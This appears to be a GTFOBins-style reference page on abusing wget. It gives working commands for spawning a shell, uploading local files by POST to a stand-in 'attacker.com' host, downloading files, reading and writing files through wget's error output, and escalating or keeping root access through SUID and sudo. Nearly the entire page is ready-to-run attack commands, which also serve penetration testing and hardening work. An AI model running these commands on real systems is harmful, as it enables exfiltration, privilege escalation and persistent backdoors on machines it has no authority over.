# .. / wget

Shell | File upload | File download | File write | File read | SUID | Sudo

## Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
wget --use-askpass=$TF 0
```

## File upload

It can exfiltrate files on the network.

Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data.

```
URL=http://attacker.com/
LFILE=file_to_send
wget --post-file=$LFILE $URL
```

## File download

It can download remote files.

Fetch a remote file via HTTP GET request.

```
URL=http://attacker.com/file_to_get
LFILE=file_to_save
wget $URL -O $LFILE
```

## File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

The data to be written is treated as a list of URLs, one per line, which are actually fetched by `wget`. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data.

```
LFILE=file_to_write
TF=$(mktemp)
echo DATA > $TF
wget -i $TF -o $LFILE
```

## File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data.

```
LFILE=file_to_read
wget -i $LFILE
```

## SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which wget) .

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
./wget --use-askpass=$TF 0
```

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
TF=$(mktemp)
chmod +x $TF
```

```
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0
```